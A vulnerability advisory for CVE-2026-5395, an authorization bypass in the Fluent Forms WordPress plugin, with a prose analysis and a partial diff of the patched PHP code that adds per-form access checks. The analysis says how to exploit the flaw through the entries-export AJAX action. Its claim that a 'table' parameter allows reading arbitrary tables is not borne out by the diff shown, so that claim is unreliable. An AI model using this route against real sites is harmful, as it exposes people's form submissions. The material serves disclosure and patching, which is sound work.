Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-5395: Fluent Forms <= 6.2.0 – Authenticated (Subscriber+) Authorization Bypass via 'table' Parameter (fluentform)

CVE ID CVE-2026-5395
Plugin fluentform
Severity High (CVSS 8.2)
CWE 639
Vulnerable Version 6.2.0
Patched Version 6.2.1
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5395:

This vulnerability allows authenticated attackers with Fluent Forms manager-level access to bypass form-level access restrictions. The issue exists in the exportEntries function and related AJAX handlers due to insufficient validation of user-controlled keys. The CVSS score is 8.2 (High).

The root cause is that the plugin’s AJAX handlers and REST API controllers did not validate whether the authenticated user had permission for a specific form ID before processing requests. The ‘form_id’ parameter was taken directly from user input and used without proper authorization checks. In the vulnerable code, the exportEntries AJAX action at fluentform/app/Hooks/Ajax.php (line 113) only called Acl::verify(‘fluentform_entries_viewer’) without passing the form_id. The Acl::verify function would check for global permission but not scope it to a specific form. Similarly, the FormController methods (find, delete, update, convert, etc.) at fluentform/app/Http/Controllers/FormController.php were using $this->request->get(‘form_id’) directly without first resolving and validating the form ID through the policy layer.

An attacker with manager-level access (subscriber+ with Fluent Forms manager role) can exploit this by crafting requests to the exportEntries AJAX handler. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=fluentform-form-entries-export and a crafted ‘form_id’ parameter. Since the vulnerable code does not verify that the user has permission for that specific form, the attacker can export submissions from any form on the site. Furthermore, by manipulating the ‘table’ parameter in the export request, the attacker can attempt to read from arbitrary database tables. Error messages may reveal database table names, aiding further exploitation.

The patch addresses the vulnerability by introducing form ID resolution and verification throughout the codebase. The key changes include: (1) In Ajax.php, the exportEntries handler now calls Acl::verifyFormId($app->request->get(‘form_id’)) before processing, which resolves the form ID and verifies the user has permission for that specific form. The resolved formId is then passed to Acl::verify(‘fluentform_entries_viewer’, $formId). (2) The FormPolicy and ReportPolicy classes now include a resolveFormId method that extracts the form ID from the route parameters rather than relying solely on the request body. (3) Controller methods (FormController, FormIntegrationController, etc.) now receive the formId as a parameter from the route, and the request body’s form_id is overwritten with this verified value. (4) The ReportController’s sanitizeReportAttributes method now uses Acl::normalizeFormId to resolve the form ID from either the route parameter or the request body.

If exploited, an attacker can view and export sensitive form submissions (including PII, contact details, survey responses) from forms they should not have access to. The ability to read from arbitrary database tables via the export function could lead to leakage of sensitive data such as user credentials, session tokens, or other plugin settings. This represents a significant data confidentiality breach, though the attacker requires authenticated access with manager-level permissions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluentform/app/Api/Form.php
+++ b/fluentform/app/Api/Form.php
@@ -42,8 +42,8 @@
             $query->where('status', $status);
         }

-        if ($allowIds = FormManagerService::getUserAllowedForms()) {
-            $query->whereIn('id', $allowIds);
+        if (false !== ($allowIds = FormManagerService::getUserAllowedFormsScope())) {
+            $query->whereIn('id', $allowIds ?: [0]);
         }

         if ($filter_by && !$is_filter_by_conv_or_step_form) {
--- a/fluentform/app/Helpers/Protector.php
+++ b/fluentform/app/Helpers/Protector.php
@@ -73,10 +73,20 @@

         $ciphertext_raw = substr($c, $ivlen + $sha2len);

+        // Verify with current HMAC (IV + ciphertext)
         $calcmac = hash_hmac('sha256', $iv . $ciphertext_raw, $key, $as_binary = true);

         if (!hash_equals($hmac, $calcmac)) {
-            return null;
+            // Fallback: verify with legacy HMAC (ciphertext only) for tokens generated before v6.2.0 IV authentication fix.
+            if (!apply_filters('fluentform/allow_legacy_token_decrypt', false)) {
+                return null;
+            }
+
+            $legacymac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary = true);
+
+            if (!hash_equals($hmac, $legacymac)) {
+                return null;
+            }
         }

         $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options = OPENSSL_RAW_DATA, $iv);
--- a/fluentform/app/Helpers/Traits/GlobalDefaultMessages.php
+++ b/fluentform/app/Helpers/Traits/GlobalDefaultMessages.php
@@ -17,6 +17,8 @@
             static::setGlobalDefaultMessages();
         } else if ($message = Arr::get($globalSettings, 'default_messages.' . $key, '')) {
             static::$globalDefaultMessages[$key] = $message;
+        } else {
+            static::setGlobalDefaultMessages();
         }
         return apply_filters('fluentform/global_default_message', Arr::get(static::$globalDefaultMessages, $key , ''), $key);
     }
--- a/fluentform/app/Hooks/Ajax.php
+++ b/fluentform/app/Hooks/Ajax.php
@@ -28,9 +28,11 @@
  * REST API seems not working for some servers with Mod Security Enabled
  */
 $app->addAction('wp_ajax_fluentform-form-update', function () use ($app) {
-    Acl::verify('fluentform_forms_manager', $app->request->get('form_id'));
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+    Acl::verify('fluentform_forms_manager', $formId);
     try {
         $data = $app->request->all();
+        $data['form_id'] = $formId;
         $isValidJson = (!empty($data['formFields'])) && json_decode($data['formFields'], true);

         if(!$isValidJson) {
@@ -57,10 +59,14 @@
  * Mod-Security also block this request
  */
 $app->addAction('wp_ajax_fluentform-save-settings-general-formSettings', function () use ($app) {
-    Acl::verify('fluentform_forms_manager');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+    Acl::verify('fluentform_forms_manager', $formId);
     try {
         $settingsService = new FluentFormAppServicesSettingsSettingsService();
-        $settingsService->saveGeneral($app->request->all());
+        $attributes = $app->request->all();
+        $attributes['form_id'] = $formId;
+
+        $settingsService->saveGeneral($attributes);
         wp_send_json([
             'message' => __('Settings has been saved.', 'fluentform'),
         ]);
@@ -74,10 +80,14 @@
  * Mod-Security also block this request
  */
 $app->addAction('wp_ajax_fluentform-save-form-email-notification', function () use ($app) {
-    Acl::verify('fluentform_forms_manager');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+    Acl::verify('fluentform_forms_manager', $formId);
     try {
         $settingsService = new FluentFormAppServicesSettingsSettingsService();
-        [$settingsId, $settings] = $settingsService->store($app->request->all());
+        $attributes = $app->request->all();
+        $attributes['form_id'] = $formId;
+
+        [$settingsId, $settings] = $settingsService->store($attributes);

         wp_send_json([
             'message'  => __('Settings has been saved.', 'fluentform'),
@@ -93,7 +103,9 @@
 // Legacy AJAX handlers removed — these routes are handled by the REST API.
 // Kept: fluentform-form-find-shortcode-locations (still in active use)
 $app->addAdminAjaxAction('fluentform-form-find-shortcode-locations', function () use ($app) {
-    Acl::verify('fluentform_forms_manager');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+    Acl::verify('fluentform_forms_manager', $formId);
+
     (new FluentFormAppModulesFormForm($app))->findFormLocations();
 });

@@ -101,20 +113,29 @@



+$resolveSubmissionFormId = function ($submissionId) {
+    if (!$submissionId) {
+        return null;
+    }
+
+    $submission = FluentFormAppModelsSubmission::select('form_id')->find($submissionId);
+
+    return $submission ? $submission->form_id : null;
+};
+
 $app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
-    Acl::verify('fluentform_entries_viewer');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+
+    Acl::verify('fluentform_entries_viewer', $formId);
     (new FluentFormAppModulesTransferTransfer())->exportEntries();
 });

-$app->addAction('wp_ajax_fluentform-update-entry-user', function () use ($app) {
-    $submissionId = intval($app->request->get('submission_id'));
-    $formId = null;
-    if ($submissionId) {
-        $submission = FluentFormAppModelsSubmission::select('form_id')->find($submissionId);
-        $formId = $submission ? $submission->form_id : null;
-    }
+$app->addAction('wp_ajax_fluentform-update-entry-user', function () use ($app, $resolveSubmissionFormId) {
+    $submissionId = absint($app->request->get('submission_id'));
+    $formId = $resolveSubmissionFormId($submissionId);
+
     Acl::verify('fluentform_manage_entries', $formId);
-    $userId = intval($app->request->get('user_id'));
+    $userId = absint($app->request->get('user_id'));
     try {
         $result = (new FluentFormAppServicesSubmissionSubmissionService())->updateSubmissionUser($userId, $submissionId);
         wp_send_json_success($result);
@@ -143,10 +164,14 @@

 // Legacy log AJAX handlers removed — these routes are now handled by the REST API.

-$app->addAction('wp_ajax_fluentform-change-entry-status', function () use ($app) {
-    Acl::verify('fluentform_manage_entries');
+$app->addAction('wp_ajax_fluentform-change-entry-status', function () use ($app, $resolveSubmissionFormId) {
+    $entryId = absint($app->request->get('entry_id'));
+    $formId = $resolveSubmissionFormId($entryId);
+
+    Acl::verify('fluentform_manage_entries', $formId);
+
     $attributes = [
-        'entry_id' => intval($app->request->get('entry_id')),
+        'entry_id' => $entryId,
         'status'   => sanitize_text_field($app->request->get('status')),
     ];
     $newStatus = (new FluentFormAppServicesSubmissionSubmissionService())->updateStatus($attributes);
@@ -200,7 +225,7 @@
     if (!wp_verify_nonce(sanitize_text_field(wpFluentForm('request')->get('nonce')), 'fluentform_report_data_migrate')) {
         die('invalid');
     }
-    $formId = intval(wpFluentForm('request')->get('form_id'));
+    $formId = Acl::normalizeFormId(wpFluentForm('request')->get('form_id'));
     if ($formId && Acl::hasPermission('fluentform_entries_viewer', $formId)) {
         FluentFormAppServicesReportReportHelper::runMigrationBatch($formId);
     }
--- a/fluentform/app/Hooks/filters.php
+++ b/fluentform/app/Hooks/filters.php
@@ -323,7 +323,7 @@

 // Get current user allowed form ids, if current user has specific form permission
 $app->addFilter('fluentform/current_user_allowed_forms', function ($form){
-    return FluentFormAppServicesManagerFormManagerService::getUserAllowedForms();
+    return FluentFormAppServicesManagerFormManagerService::getUserAllowedFormsScope();
 });

 $app->addFilter('fluentform/validate_input_item_input_email', ['FluentFormAppHelpersHelper', 'isUniqueValidation'], 10, 5);
--- a/fluentform/app/Http/Controllers/FormController.php
+++ b/fluentform/app/Http/Controllers/FormController.php
@@ -59,15 +59,11 @@
         }
     }

-    public function duplicate(FormService $formService)
+    public function duplicate(FormService $formService, $formId)
     {
         try {
             $attributes = $this->request->all();
-
-            $sanitizeMap = [
-                'form_id' => 'intval',
-            ];
-            $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+            $attributes['form_id'] = (int) $formId;

             $form = $formService->duplicate($attributes);

@@ -83,10 +79,10 @@
         }
     }

-    public function find(FormService $formService)
+    public function find(FormService $formService, $formId)
     {
         try {
-            $id = (int)$this->request->get('form_id');
+            $id = (int) $formId;

             $form = $formService->find($id);

@@ -98,10 +94,10 @@
         }
     }

-    public function delete(FormService $formService)
+    public function delete(FormService $formService, $formId)
     {
         try {
-            $id = (int)$this->request->get('form_id');
+            $id = (int) $formId;

             $formService->delete($id);

@@ -115,11 +111,12 @@
         }
     }

-    public function update(FormService $formService)
+    public function update(FormService $formService, $formId)
     {
         try {
             // Sanitization handled in Updater::update() — only title, status, form_id, formFields are extracted
             $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;

             $formService->update($attributes);

@@ -133,10 +130,10 @@
         }
     }

-    public function convert(FormService $formService)
+    public function convert(FormService $formService, $formId)
     {
         try {
-            $formId = (int)$this->request->get('form_id');
+            $formId = (int) $formId;
             $formService->convert($formId);

             return $this->sendSuccess([
@@ -199,10 +196,10 @@
         return $this->sendSuccess($historyService::get($formId));
     }

-    public function clearEditHistory(HistoryService $historyService)
+    public function clearEditHistory(HistoryService $historyService, $formId)
     {
         try {
-            $id = (int)$this->request->get('form_id');
+            $id = (int) $formId;

             $historyService->delete($id);
             return $this->sendSuccess([
--- a/fluentform/app/Http/Controllers/FormIntegrationController.php
+++ b/fluentform/app/Http/Controllers/FormIntegrationController.php
@@ -6,10 +6,10 @@

 class FormIntegrationController extends Controller
 {
-    public function index(FormIntegrationService $integrationService)
+    public function index(FormIntegrationService $integrationService, $formId)
     {
         try {
-            $formId = (int) $this->request->get('form_id');
+            $formId = (int) $formId;
             return $this->sendSuccess(
                 $integrationService->get($formId)
             );
@@ -20,10 +20,13 @@
         }
     }

-    public function find(FormIntegrationService $integrationService)
+    public function find(FormIntegrationService $integrationService, $formId)
     {
         try {
-            $integration = $integrationService->find($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;
+
+            $integration = $integrationService->find($attributes);
             return $this->sendSuccess($integration);
         } catch (Exception $e) {
             return $this->sendError([
@@ -32,10 +35,13 @@
         }
     }

-    public function update(FormIntegrationService $integrationService)
+    public function update(FormIntegrationService $integrationService, $formId)
     {
         try {
-            $integration = $integrationService->update($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;
+
+            $integration = $integrationService->update($attributes);
             return $this->sendSuccess($integration);
         } catch (Exception $e) {
             return $this->sendError([
@@ -44,10 +50,10 @@
         }
     }

-    public function delete(FormIntegrationService $integrationService)
+    public function delete(FormIntegrationService $integrationService, $formId)
     {
         try {
-            $formId = intval($this->request->get('form_id'));
+            $formId = (int) $formId;
             $id = intval($this->request->get('integration_id'));
             $integrationService->delete($id, $formId);
             return $this->sendSuccess([
@@ -60,10 +66,11 @@
         }
     }

-    public function integrationListComponent()
+    public function integrationListComponent($formId)
     {
         try {
             $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;

             $sanitizeMap = [
                 'integration_name' => 'sanitize_text_field',
--- a/fluentform/app/Http/Controllers/FormSettingsController.php
+++ b/fluentform/app/Http/Controllers/FormSettingsController.php
@@ -10,9 +10,12 @@

 class FormSettingsController extends Controller
 {
-    public function index(SettingsService $settingsService)
+    public function index(SettingsService $settingsService, $formId)
     {
-        $result = $settingsService->get($this->request->all());
+        $attributes = $this->request->all();
+        $attributes['form_id'] = (int) $formId;
+
+        $result = $settingsService->get($attributes);

         return $this->sendSuccess($result);
     }
@@ -24,10 +27,13 @@
         return $this->sendSuccess($result);
     }

-    public function saveGeneral(SettingsService $settingsService)
+    public function saveGeneral(SettingsService $settingsService, $formId)
     {
         try {
-            $settingsService->saveGeneral($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;
+
+            $settingsService->saveGeneral($attributes);

             return $this->sendSuccess([
                 'message' => __('Settings has been saved.', 'fluentform'),
@@ -37,10 +43,13 @@
         }
     }

-    public function store(SettingsService $settingsService)
+    public function store(SettingsService $settingsService, $formId)
     {
         try {
-            [$settingsId, $settings] = $settingsService->store($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;
+
+            [$settingsId, $settings] = $settingsService->store($attributes);

             return $this->sendSuccess([
                 'message'  => __('Settings has been saved.', 'fluentform'),
@@ -52,9 +61,12 @@
         }
     }

-    public function remove(SettingsService $settingsService)
+    public function remove(SettingsService $settingsService, $formId)
     {
-        $settingsService->remove($this->request->all());
+        $attributes = $this->request->all();
+        $attributes['form_id'] = (int) $formId;
+
+        $settingsService->remove($attributes);

         return $this->sendSuccess([]);
     }
@@ -74,7 +86,10 @@
     public function storeCustomizer(Customizer $customizer, $id)
     {
         try {
-            $customizer->store($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $id;
+
+            $customizer->store($attributes);

             return $this->sendSuccess([
                 'message' => __('Custom CSS & JS successfully saved.', 'fluentform'),
@@ -89,7 +104,10 @@
     public function storeEntryColumns(SubmissionService $submissionService, $id)
     {
         try {
-            $submissionService->storeColumnSettings($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $id;
+
+            $submissionService->storeColumnSettings($attributes);

             return $this->sendSuccess([
                 'message' => __('The column display order has been saved.', 'fluentform'),
@@ -134,10 +152,13 @@
         }
     }

-    public function savePreset(SettingsService $settingsService)
+    public function savePreset(SettingsService $settingsService, $formId)
     {
         try {
-            return $this->sendSuccess($settingsService->savePreset($this->request->all()));
+            $attributes = $this->request->all();
+            $attributes['form_id'] = (int) $formId;
+
+            return $this->sendSuccess($settingsService->savePreset($attributes));
         } catch (Exception $e) {
             return $this->sendError([
                 'message' => $e->getMessage(),
--- a/fluentform/app/Http/Controllers/LogController.php
+++ b/fluentform/app/Http/Controllers/LogController.php
@@ -62,6 +62,14 @@

             $sanitizeMap = [
                 'log_id' => 'intval',
+                'log_ids' => function ($value) {
+                    if (is_array($value)) {
+                        return array_map('intval', $value);
+                    }
+
+                    return [];
+                },
+                'type' => 'sanitize_text_field',
             ];
             $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);

--- a/fluentform/app/Http/Controllers/ReportController.php
+++ b/fluentform/app/Http/Controllers/ReportController.php
@@ -3,33 +3,46 @@
 namespace FluentFormAppHttpControllers;

 use Exception;
+use FluentFormAppModulesAclAcl;
 use FluentFormAppServicesReportReportService;

 class ReportController extends Controller
 {
-    private function sanitizeReportAttributes()
+    private function sanitizeReportAttributes($formId = null)
     {
         $sanitizeMap = [
-            'form_id'  => 'intval',
             'period'   => 'sanitize_text_field',
             'group_by' => 'sanitize_text_field',
             'status'   => 'sanitize_text_field',
         ];

         $attributes = fluentform_backend_sanitizer($this->request->all(), $sanitizeMap);
+        $requestFormId = $this->request->get('form_id');

         if (isset($attributes['date_range']) && is_array($attributes['date_range'])) {
             $attributes['date_range'] = array_map('sanitize_text_field', $attributes['date_range']);
         }

+        $resolvedFormId = Acl::normalizeFormId($formId);
+
+        if (!$resolvedFormId) {
+            $resolvedFormId = Acl::normalizeFormId($requestFormId);
+        }
+
+        if ($resolvedFormId) {
+            $attributes['form_id'] = $resolvedFormId;
+        } else {
+            unset($attributes['form_id']);
+        }
+
         return $attributes;
     }

-    public function form(ReportService $reportService)
+    public function form(ReportService $reportService, $formId)
     {
         try {
             return $this->sendSuccess(
-                $reportService->form($this->sanitizeReportAttributes())
+                $reportService->form($this->sanitizeReportAttributes($formId))
             );
         } catch (Exception $e) {
             return $this->sendError([
@@ -80,7 +93,7 @@
     public function netRevenue(ReportService $reportService)
     {
         try {
-            $data = apply_filters('fluentform/reports/revenue_analysis', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/revenue_analysis', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);

         } catch (Exception $e) {
@@ -97,7 +110,7 @@
     public function submissionsAnalysis()
     {
         try {
-            $data = apply_filters('fluentform/reports/submissions_analysis', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/submissions_analysis', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);
         } catch (Exception $e) {
             return $this->sendError([
@@ -147,7 +160,7 @@
     public function getCompletionRate()
     {
         try {
-            $data = apply_filters('fluentform/reports/completion_rate', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/completion_rate', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);
         } catch (Exception $e) {
             return $this->sendError([
@@ -180,7 +193,7 @@
     public function getHeatmapData()
     {
         try {
-            $data = apply_filters('fluentform/reports/heatmap_data', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/heatmap_data', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);
         } catch (Exception $e) {
             return $this->sendError([
@@ -196,7 +209,7 @@
     public function getCountryHeatmap(ReportService $reportService)
     {
         try {
-            $data = apply_filters('fluentform/reports/country_heatmap', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/country_heatmap', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);
         } catch (Exception $e) {
             return $this->sendError([
@@ -246,7 +259,7 @@
     public function getSubscriptions()
     {
         try {
-            $data = apply_filters('fluentform/reports/subscriptions', [], $this->request->all());
+            $data = apply_filters('fluentform/reports/subscriptions', [], $this->sanitizeReportAttributes());
             return $this->sendSuccess($data);
         } catch (Exception $e) {
             return $this->sendError([
--- a/fluentform/app/Http/Controllers/SubmissionController.php
+++ b/fluentform/app/Http/Controllers/SubmissionController.php
@@ -201,7 +201,7 @@
             $attributes = $this->request->all();

             $sanitizeMap = [
-                'entry_ids' => function($value) {
+                'submission_ids' => function($value) {
                     if (is_array($value)) {
                         return array_map('intval', $value);
                     }
@@ -210,6 +210,15 @@
                 'form_id' => 'intval',
             ];
             $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+            // Preserve backward compatibility with any legacy callers that still
+            // send entry_ids, while normalizing to the current submission_ids key.
+            if (empty($attributes['submission_ids']) && isset($attributes['entry_ids'])) {
+                $entryIds = $attributes['entry_ids'];
+                $attributes['submission_ids'] = is_array($entryIds)
+                    ? array_map('intval', $entryIds)
+                    : [];
+            }

             return $this->sendSuccess(
                 $submissionService->getPrintContent($attributes)
--- a/fluentform/app/Http/Controllers/SubmissionLogController.php
+++ b/fluentform/app/Http/Controllers/SubmissionLogController.php
@@ -28,16 +28,23 @@
         }
     }

-    public function remove(Logger $logger)
+    public function remove(Logger $logger, $submissionId)
     {
         try {
             $attributes = $this->request->all();

             $sanitizeMap = [
-                'log_id' => 'intval',
-                'submission_id' => 'intval',
+                'log_ids' => function ($value) {
+                    if (is_array($value)) {
+                        return array_map('intval', $value);
+                    }
+
+                    return [];
+                },
+                'type' => 'sanitize_text_field',
             ];
             $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+            $attributes['entry_id'] = intval($submissionId);

             return $this->sendSuccess(
                 $logger->remove($attributes)
--- a/fluentform/app/Http/Policies/FormPolicy.php
+++ b/fluentform/app/Http/Policies/FormPolicy.php
@@ -5,6 +5,7 @@
 use FluentFormAppModulesAclAcl;
 use FluentFormFrameworkHttpRequestRequest;
 use FluentFormFrameworkFoundationPolicy;
+use FluentFormFrameworkSupportArr;

 class FormPolicy extends Policy
 {
@@ -16,46 +17,59 @@
      */
     public function verifyRequest(Request $request)
     {
-        return Acl::hasPermission('fluentform_forms_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_forms_manager', $this->resolveFormId($request));
     }

     public function index(Request $request)
     {
-        return Acl::hasPermission('fluentform_dashboard_access', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_dashboard_access', $this->resolveFormId($request));
     }

     public function templates(Request $request)
     {
-        return Acl::hasAnyFormPermission($request->get('form_id'));
+        return Acl::hasAnyFormPermission($this->resolveFormId($request));
     }

     public function find(Request $request)
     {
-        return Acl::hasPermission('fluentform_forms_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_forms_manager', $this->resolveFormId($request));
     }

     public function delete(Request $request)
     {
-        return Acl::hasPermission('fluentform_forms_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_forms_manager', $this->resolveFormId($request));
     }

     public function integrationListComponent(Request $request)
     {
-        return Acl::hasPermission('fluentform_forms_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_forms_manager', $this->resolveFormId($request));
     }

     public function updateModuleStatus(Request $request)
     {
-        return Acl::hasPermission('fluentform_settings_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_settings_manager', $this->resolveFormId($request));
     }

     public function updateIntegration(Request $request)
     {
-        return Acl::hasPermission('fluentform_settings_manager', $request->get('form_id'));
+        return Acl::hasPermission('fluentform_settings_manager', $this->resolveFormId($request));
     }

     public function ping()
     {
         return Acl::hasAnyFormPermission();
     }
+
+    private function resolveFormId(Request $request)
+    {
+        $route = $request->route();
+        $routeFormId = $route ? Arr::get($route->getParameter(), 'form_id') : null;
+        $routeFormId = Acl::normalizeFormId($routeFormId);
+
+        if ($routeFormId) {
+            return $routeFormId;
+        }
+
+        return Acl::normalizeFormId($request->get('form_id'));
+    }
 }
--- a/fluentform/app/Http/Policies/ReportPolicy.php
+++ b/fluentform/app/Http/Policies/ReportPolicy.php
@@ -3,12 +3,59 @@
 namespace FluentFormAppHttpPolicies;

 use FluentFormAppModulesAclAcl;
+use FluentFormAppServicesManagerFormManagerService;
 use FluentFormFrameworkHttpRequestRequest;
 use FluentFormFrameworkFoundationPolicy;
 use FluentFormFrameworkSupportArr;

 class ReportPolicy extends Policy
 {
+    private function canAccessReportData(Request $request)
+    {
+        $formId = $this->resolveFormId($request);
+
+        if ($formId) {
+            return Acl::hasPermission('fluentform_entries_viewer', $formId);
+        }
+
+        return Acl::hasPermission('fluentform_entries_viewer');
+    }
+
+    private function canAccessDashboardReport(Request $request)
+    {
+        if (!Acl::hasPermission('fluentform_dashboard_access')) {
+            return false;
+        }
+
+        return $this->canAccessReportData($request);
+    }
+
+    private function canAccessRequestedForm(Request $request)
+    {
+        return $this->canAccessReportData($request);
+    }
+
+    private function canAccessOptionalFormScopedReport(Request $request)
+    {
+        if (!Acl::hasPermission('fluentform_dashboard_access')) {
+            return false;
+        }
+
+        $formId = $this->resolveFormId($request);
+
+        if ($formId) {
+            return Acl::hasPermission('fluentform_entries_viewer', $formId);
+        }
+
+        if (!Acl::hasPermission('fluentform_entries_viewer')) {
+            return false;
+        }
+
+        $userId = get_current_user_id();
+
+        return !$userId || !FormManagerService::hasSpecificFormsPermission($userId);
+    }
+
     /**
      * Check permission for any method
      *
@@ -22,11 +69,89 @@

     public function form(Request $request)
     {
-        return Acl::hasPermission('fluentform_entries_viewer', intval($request->get('form_id')));
+        return $this->canAccessRequestedForm($request);
     }

-    public function submissions()
+    public function submissions(Request $request)
     {
-        return Acl::hasPermission('fluentform_entries_viewer');
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getOverviewChart(Request $request)
+    {
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getRevenueChart(Request $request)
+    {
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getFormStats(Request $request)
+    {
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getApiLogs(Request $request)
+    {
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getPaymentTypes(Request $request)
+    {
+        return $this->canAccessRequestedForm($request);
+    }
+
+    public function getCompletionRate(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    public function getHeatmapData(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    public function getCountryHeatmap(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    public function getTopPerformingForms(Request $request)
+    {
+        return $this->canAccessDashboardReport($request);
+    }
+
+    public function getSubscriptions(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    public function getFormsDropdown(Request $request)
+    {
+        return $this->canAccessDashboardReport($request);
+    }
+
+    public function netRevenue(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    public function submissionsAnalysis(Request $request)
+    {
+        return $this->canAccessOptionalFormScopedReport($request);
+    }
+
+    private function resolveFormId(Request $request)
+    {
+        $route = $request->route();
+        $routeFormId = $route ? Arr::get($route->getParameter(), 'form_id') : null;
+        $routeFormId = Acl::normalizeFormId($routeFormId);
+
+        if ($routeFormId) {
+            return $routeFormId;
+        }
+
+        return Acl::normalizeFormId($request->get('form_id'));
     }
 }
--- a/fluentform/app/Models/Submission.php
+++ b/fluentform/app/Models/Submission.php
@@ -96,7 +96,7 @@
         return $this->hasMany(OrderItem::class, 'submission_id', 'id');
     }

-    public function customQuery($attributes = [])
+    public function customQuery($attributes = [], $searchExtender = null)
     {
         $entryType = Arr::get($attributes, 'entry_type');
         $dateRange = Arr::get($attributes, 'date_range');
@@ -145,14 +145,17 @@
                 return $q->where('fluentform_submissions.created_at', '>=', $startDate)
                     ->where('fluentform_submissions.created_at', '<=', $endDate);
             })
-            ->when($search, function ($q) use ($search) {
+            ->when($search, function ($q) use ($search, $searchExtender) {
                 global $wpdb;
                 $escaped = $wpdb->esc_like($search);
-                return $q->where(function ($q) use ($escaped) {
-                    return $q->where('fluentform_submissions.id', 'LIKE', "%{$escaped}%")
+                return $q->where(function ($q) use ($escaped, $searchExtender) {
+                    $q->where('fluentform_submissions.id', 'LIKE', "%{$escaped}%")
                         ->orWhere('response', 'LIKE', "%{$escaped}%")
                         ->orWhere('fluentform_submissions.status', 'LIKE', "%{$escaped}%")
                         ->orWhere('fluentform_submissions.created_at', 'LIKE', "%{$escaped}%");
+                    if ($searchExtender) {
+                        $searchExtender($q, $escaped);
+                    }
                 });
             })
             ->when($wheres, function ($q) use ($wheres) {
@@ -183,7 +186,11 @@
     public function paginateEntries($attributes = [])
     {
         $formId = Arr::get($attributes, 'form_id');
+        $allowFormIds = FormManagerService::getUserAllowedFormsScope();
         $query = $this->customQuery($attributes);
+        $query = $query->when(false !== $allowFormIds, function ($q) use ($allowFormIds) {
+            return $q->whereIn('fluentform_submissions.form_id', $allowFormIds ?: [0]);
+        });
         if (Arr::get($attributes, 'advanced_filter')) {
             $query = apply_filters('fluentform/apply_entries_advance_filter', $query, $attributes);
         }
@@ -297,9 +304,13 @@
     }

     public function allSubmissions($attributes = []) {
-        $customQuery = $this->customQuery($attributes);
-        $search = Arr::get($attributes, 'search');
-        $allowFormIds = FormManagerService::getUserAllowedForms();
+        $searchExtender = function ($q, $escaped) {
+            $q->orWhereHas('form', function ($q) use ($escaped) {
+                $q->where('title', 'LIKE', "%{$escaped}%");
+            });
+        };
+        $customQuery = $this->customQuery($attributes, $searchExtender);
+        $allowFormIds = FormManagerService::getUserAllowedFormsScope();

         $result = $customQuery
             ->with([
@@ -308,15 +319,8 @@
                 }
             ])
             ->select(['id', 'form_id', 'status', 'created_at', 'browser', 'currency', 'total_paid'])
-            ->when($allowFormIds, function ($q) use ($allowFormIds){
-                return $q->whereIn('form_id', $allowFormIds);
-            })
-            ->when($search, function ($q) use ($search){
-                global $wpdb;
-                $escaped = $wpdb->esc_like($search);
-                return $q->orWhereHas('form', function ($q) use ($escaped) {
-                    return $q->orWhere('title', 'LIKE', "%{$escaped}%");
-                });
+            ->when(false !== $allowFormIds, function ($q) use ($allowFormIds){
+                return $q->whereIn('form_id', $allowFormIds ?: [0]);
             })
             ->paginate()
             ->toArray();
@@ -339,8 +343,8 @@
     public function availableForms()
     {
         $form = new Form();
-        if ($allowForms = FormManagerService::getUserAllowedForms()) {
-            return $form->select('id', 'title')->whereIn('id', $allowForms)->get();
+        if (false !== ($allowForms = FormManagerService::getUserAllowedFormsScope())) {
+            return $form->select('id', 'title')->whereIn('id', $allowForms ?: [0])->get();
         }
         return $form->select('id', 'title')->get();
     }
@@ -350,6 +354,7 @@
